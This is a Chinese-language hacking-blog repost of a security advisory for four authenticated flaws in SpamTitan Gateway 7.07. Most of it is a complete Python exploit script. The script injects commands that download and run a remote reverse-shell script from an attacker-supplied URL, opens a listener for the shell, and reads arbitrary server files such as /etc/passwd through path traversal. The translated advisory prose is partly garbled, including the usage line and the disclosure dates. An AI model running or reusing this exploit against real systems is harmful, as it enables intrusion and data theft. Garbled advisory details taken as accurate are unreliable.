SpamTitan 7.07-远程代码执行—Hack之路

SpamTitan 7.07-远程代码执行(已验证)

#日期:2020-09-18

#开发作者:费利佩·莫利纳(@felmoltor)

#供应商主页:https://www.titanhq.com/spamtitan/spamtitangateway/

#软件链接:https://www.titanhq.com/signup/?产品类型=spamtitangateway

#版本:7.07

#测试对象:FreeBSD

#CVE:CVE-2020-11699、CVE-2020-11700、CVE-2020-11803、CVE-2020-11804

 

—[SPUK-2020-09/SpamTitan 7.07多重认证远程代码

执行]——————————

 

安全咨询:SPUK-2020-09/SpamTitan 7.07多个

经过身份验证的远程代码执行

受影响的软件:SpamTitan Gateway 7.07(可能是更早的版本)

漏洞:多个经过身份验证的远程代码执行

CVSSv3:8.7版

(https://www.first.org/cvss/calculator/3.0\cvss:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)

严重程度:高

发布日期:2020-09-18

CVE:CVE-2020-11699、CVE-2020-11700、CVE-2020-11803,

CVE-2020-11804

 

一、 背景

~~~~~~~~~~~~~

 

从www.spamtitan.com网站:

 

“SpamTitan网关是一个强大的反垃圾邮件设备,配备网络

管理员拥有广泛的工具来控制邮件流并防止

不需要的电子邮件和恶意软件。“

二。说明

~~~~~~~~~~~~~~~

发现多个经过身份验证的远程代码执行(RCE)漏洞

在SpamTitan Gateway 7.07上,可能在以前的版本中:

 

*CVE-2020-11699:页面上参数fname的验证不正确

certs-x.php将允许攻击者在

目标服务器。用户在与

这一页。

*CVE-2020-11700:页面上使用的参数fname的卫生处理不当

certs-x.php将允许攻击者检索

任意文件。用户必须是

在与此页面交互之前进行身份验证。

*CVE-2020-11803:当

页面邮件队列.php可能导致PHP代码评估服务器端,

因为用户提供的输入直接传递给php eval()

功能。用户之前必须在web平台上进行身份验证

与页面交互。

*CVE-2020-11804:由于参数qid的卫生处理不当,

在页面中使用

邮件队列.php,可能会发生代码注入。这个的输入

参数由经过身份验证的用户通过httpget直接提供

请求。

三、 PoC公司

~~~~~~~~

使用python3并在执行之前安装以下模块:requests。

如果您的IP是192.168.1.5并且目标SpamTitan服务器是

spamtitan.example.com网站,这样称呼PoC:

./多维.py-tspamtitan.example.com网站-168.5米-192.5英里

号码>-u<USER>-p<PASSWORD>-uhttp://192.168.1.5/rev.py

———————————————

#!/usr/bin/env python

#作者:菲利佩·莫利纳(@felmoltor)

#日期:2020年4月9日

#Python版本:3.7

#小结:这是多个认证的RCE和任意文件读取的PoC

#在SpamTitan 7.07和早期版本上运行0天。

#产品URL:https://www.spamtitan.com/

#产品版本:7.07或更早版本

import requests
from requests import Timeout
requests.packages.urllib3.disable_warnings()
import os
import threading
from optparse import OptionParser
import socket
import json
import re
from urllib.parse import urlparse
from time import sleep
from base64 import b64decode,b64encode
def myip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        # doesn't even have to be reachable
        s.connect(('10.255.255.255', 1))
        IP = s.getsockname()[0]
    except:
        IP = '127.0.0.1'
    finally:
        s.close()
    return IP
def shellServer(ip,port,quiet):
    servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servers.bind((ip, port))
    servers.listen(1)
    info("Waiting for incoming connection on %s:%s" % (ip,port))
    conn, addr = servers.accept()
    conn.settimeout(1)
    success("Hurray, we got a connection from %s" % addr[0])
    prompt =conn.recv(128)
    prompt=str(prompt.decode("utf-8")).strip()
    command = input(prompt)
    while True:
        try:
            c = "%s\n" % (command)
            if (len(c)>0):
                conn.sendall(c.encode("utf-8"))
                # Quit the console
                if command == 'exit':
                    info("\nClosing connection")
                    conn.close()
                    break
                else:
                    completeanswer=""
                    while True:
                        answer=None
                        try:
                            answer=str((conn.recv(1024)).decode("utf-8"))
                            completeanswer+=answer
                        except socket.timeout:
                            completeanswer.strip()
                            break
                    print(completeanswer,end='')
            command = input("")
        except (KeyboardInterrupt, EOFError):
            info("\nClosing connection")
            break
# This is an authenticated remote code execution in "certs-x.php". E.g:
def CVE_2020_11699(cookies, target, shellurl):
    # Giving time to the maim thread to open the reverse shell listener
    sleep(5)
    oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
/tmp/r.py" % (shellurl)
    t1 = "%s/certs.php" % target
    t2 = "%s/certs-x.php" % target
    # get the csrf token value
    res1 = requests.get(t1,cookies=cookies,verify=False)
    m = re.search("var csrf_token_postdata
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
    if (m is not None):
        csrfguard=m.group(1)
        csrftoken=m.group(2)
        data = {
            "CSRFName":csrfguard,
            "CSRFToken":csrftoken,
            "jaction":"deletecert",
            "fname":"dummy || $(%s)" % oscmd
        }
        info("Triggering the reverse shell in the target.")
        try:
            res2 = requests.post(t2,data=data,cookies=cookies,verify=False)
            print(res2.text)
        except Timeout:
            info("Request timed-out. You should have received already
your reverse shell.")
    else:
        fail("CSRF tokens were not found. POST will fail.")
# This is an arbitrary file read on "certs-x.php"
def CVE_2020_11700(cookies,target,file):
    fullpath="../../../..%s" % file
    t1 = "%s/certs.php" % target
    t2 = "%s/certs-x.php" % target
    # get the csrf token value
    res1 = requests.get(t1,cookies=cookies,verify=False)
    m = re.search("var csrf_token_postdata
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
    if (m is not None):
        csrfguard=m.group(1)
        csrftoken=m.group(2)
        data = {
            "CSRFName":csrfguard,
            "CSRFToken":csrftoken,
            "jaction":"downloadkey",
            "fname":fullpath,
            "commonname":"",
            "organization":"",
            "organizationunit":"",
            "city":"",
            "state":"",
            "country":"",
            "csrout":"",
            "pkout":"",
            "importcert":"",
            "importkey":"",
            "importchain":""
        }
        res2 = requests.post(t2,data=data,cookies=cookies,verify=False)
        if (res2.status_code == 200):
            success("Contents of the file %s" % file)
            print(res2.text)
    else:
        fail("Error obtaining the CSRF guard tokens from the page.")
        return False
# This is an authenticated RCE abusing PHP eval function in mailqueue.php
def CVE_2020_11803(cookies, target, shellurl):
    # Giving time to the maim thread to open the reverse shell listener
    sleep(5)
    oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
/tmp/r.py" % (shellurl)
    b64=(b64encode(oscmd.encode("utf-8"))).decode("utf-8")
    payload="gotopage+a+\";$b=\"%s\";shell_exec(base64_decode(urldecode($b)));die();$b=\""
% (b64)
    t1 = "%s/certs.php" % target
    t2 = "%s/mailqueue.php" % target
    # get the csrf token value
    res1 = requests.get(t1,cookies=cookies,verify=False)
    m = re.search("var csrf_token_postdata
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
    if (m is not None):
        csrfguard=m.group(1)
        csrftoken=m.group(2)
        data = {
            "CSRFName":csrfguard,
            "CSRFToken":csrftoken,
            "jaction":payload,
            "activepage":"incoming",
            "incoming_count":"0",
            "active_count":"0",
            "deferred_count":"0",
            "hold_count":"0",
            "corrupt_count":"0",
            "incoming_page":"1",
            "active_page":"1",
            "deferred_page":"1",
            "hold_page":"1",
            "corrupt_page":"1",
            "incomingrfilter":None,
            "incomingfilter":None,
            "incoming_option":"hold",
            "activerfilter":None,
            "activefilter":None,
            "active_option":"hold",
            "deferredrfilter":None,
            "deferredfilter":None,
            "deferred_option":"hold",
            "holdrfilter":None,
            "holdfilter":None,
            "hold_option":"release",
            "corruptrfilter":None,
            "corruptfilter":None,
            "corrupt_option":"delete"
        }
        # We have to pass a string instead of a dict if we don't want
the requests library to convert it to
        # an urlencoded data and break our payload
        datastr=""
        cont=0
        for k,v in data.items():
            datastr+="%s=%s" % (k,v)
            cont+=1
            if (cont<len(data)):
                datastr+="&"
        headers={
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; rv:68.0)
Gecko/20100101 Firefox/68.0",
            "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        try:
            res2 =
requests.post(t2,data=datastr,cookies=cookies,headers=headers,verify=False,proxies=proxies)
        except Timeout:
            info("Request timed-out. You should have received already
your reverse shell.")
    else:
        fail("CSRF tokens were not found. POST will fail.")
# This is an authenticated RCE abusing qid GET parameter in mailqueue.php
def CVE_2020_11804(cookies, target, shellurl):
    # Giving time to the maim thread to open the reverse shell listener
    sleep(5)
    oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
/tmp/r.py" % (shellurl)
    payload="1;`%s`" % oscmd
    t = "%s/mailqueue.php?qid=%s" % (target,payload)
    info("Triggering the reverse shell in the target.")
    try:
        res2 = requests.get(t,cookies=cookies,verify=False)
    except Timeout:
        info("Request timed-out. You should have received already your
reverse shell.")
# Authenticate to the web platform and get the cookies
def authenticate(target,user,password):
    loginurl="%s/login.php" % target
    data={
        "jaction":"none",
        "language":"en_US",
        "address":"%s" % user,
        "passwd":"%s" % password
    }
    res = requests.post(loginurl, data=data,allow_redirects =
False,verify=False)
    if (res.status_code == 302 and len(res.cookies.items())>0):
        return res.cookies
    else:
        return None
def printmsg(msg,quiet=False,msgtype="i"):
    if (not quiet):
        if (success):
            print("[%s] %s" % (msgtype,msg))
        else:
            print("[-] %s" % msg)
def info(msg,quiet=False):
    printmsg(msg,quiet,msgtype="i")
def success(msg,quiet=False):
    printmsg(msg,quiet,msgtype="+")
def fail(msg,quiet=False):
    printmsg(msg,quiet,msgtype="-")
def parseoptions():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target",
                    help="Target SpamTitan URL to attack. E.g.:
https://spamtitan.com/", default=None)
    parser.add_option("-m", "--method", dest="method",
                    help="Exploit number: (1) CVE-2020-11699 [RCE],
(2) CVE-2020-XXXX [RCE], (3) CVE-2020-XXXX2 [RCE], (4) CVE-2020-11700
[File Read]", default=1)
    parser.add_option("-u", "--user", dest="user",
                    help="Username to authenticate with. Default:
admin", default="admin")
    parser.add_option("-p", "--password", dest="password",
                    help="Password to authenticate with. Default:
hiadmin", default="hiadmin")
    parser.add_option("-I", "--ip", dest="ip",
                    help="Local IP where to listen for the reverse
shell. Default: %s" % myip(), default=myip())
    parser.add_option("-P", "--port", dest="port",
                    help="Local Port where to listen for the reverse
shell. Default: 4242", default=4242)
    parser.add_option("-U", "--URL", dest="shellurl",
                    help="HTTP URL path where the reverse shell is
located. Default: http://%s/rev.py" % myip(),
default="http://%s/rev.py" % myip())
    parser.add_option("-f", "--filetoread", dest="filtetoread",
                    help="Full path of the file to read from the
remote server when executing CVE-2020-11700. Default: /etc/passwd",
default="/etc/passwd")
    parser.add_option("-q", "--quiet",
                    action="store_true", dest="quiet", default=False,
                    help="Shut up script! Just give me the shell.")
    return parser.parse_args()
def main():
    (options,arguments) = parseoptions()
    quiet = options.quiet
    target = options.target
    ip = options.ip
    port = options.port
    user = options.user
    password = options.password
    shellurl = options.shellurl
    method = int(options.method)
    rfile = options.filtetoread
    # Sanitize options
    if (target is None):
        fail("Error. Specify a target (-t).")
        exit(1)
    else:
        if (not target.startswith("http://") and not
target.startswith("https://")):
            target = "http://%s" % target
    if (method < 1 or method > 4):
        fail("Error. Specify a method from 1 to 4:\n (1)
CVE-2020-11699 [RCE]\n (2) CVE-2020-XXXX [RCE]\n (3) CVE-2020-XXXX2
[RCE]\n (4) CVE-2020-11700 [File Read]")
        exit(1)
    # Before doing anything, login
    cookies = authenticate(target,user,password)
    if (cookies is not None):
        success("User logged in successfully.")
        if (method == 1):
            info("Exploiting CVE-2020-11699 to get a reverse shell on
%s:%s" % (ip,port),quiet)
            rev_thread = threading.Thread(target=CVE_2020_11699,
args=(cookies,target,shellurl))
            rev_thread.start()
            # Open the reverse shell listener in this main thread
            info("Spawning a reverse shell listener. Wait for it...")
            shellServer(options.ip,int(options.port),options.quiet)
        elif (method == 2):
            info("Exploiting CVE-2020-11803 to get a reverse shell on
%s:%s" % (ip,port),quiet)
            rev_thread = threading.Thread(target=CVE_2020_11803,
args=(cookies,target,shellurl))
            rev_thread.start()
            # Open the reverse shell listener in this main thread
            info("Spawning a reverse shell listener. Wait for it...")
            shellServer(options.ip,int(options.port),options.quiet)
        elif (method == 3):
            info("Exploiting CVE-2020-11804 to get a reverse shell on
%s:%s" % (ip,port),quiet)
            rev_thread = threading.Thread(target=CVE_2020_11804,
args=(cookies,target,shellurl))
            rev_thread.start()
            # Open the reverse shell listener in this main thread
            info("Spawning a reverse shell listener. Wait for it...")
            shellServer(options.ip,int(options.port),options.quiet)
        elif (method == 4):
            info("Reading file '%s' by abusing CVE-2020-11700." % rfile, quiet)
            CVE_2020_11700(cookies,target,rfile)
    else:
        fail("Error authenticating. Are you providing valid credentials?")
        exit(2)
    exit(0)
main()
---------------------------------------------

三、 影响

~~~~~~~~~~~

中多个文件的机密性、完整性和可用性丢失
目标服务器,以及多个正在运行的服务的可用性丢失
在垃圾桶里。
关键系统文件的机密性,如/etc/passwd或/etc/密码数据库
会受到很大的影响。

报告人:菲利佩·莫利娜·德拉托瑞

通知供应商:2020-04-17
补丁发布日期:2019-05-26
公告发布日期:2019-09-18

五、 参考文献
~~~~~~~~~~~~~

~~~~~~~~~~~~~

* https://sensepost.com/blog/2020/clash-of-the-spamtitan/
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11699
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11700
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11803
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11804
———————————[SPUK-2020-09/SpamTitan 7.07倍经过身份验证的远程代码执行]—

网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/09/21/spamtitan-7-07-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c-hack%e4%b9%8b%e8%b7%af/

发表评论

邮箱地址不会被公开。 必填项已用*标注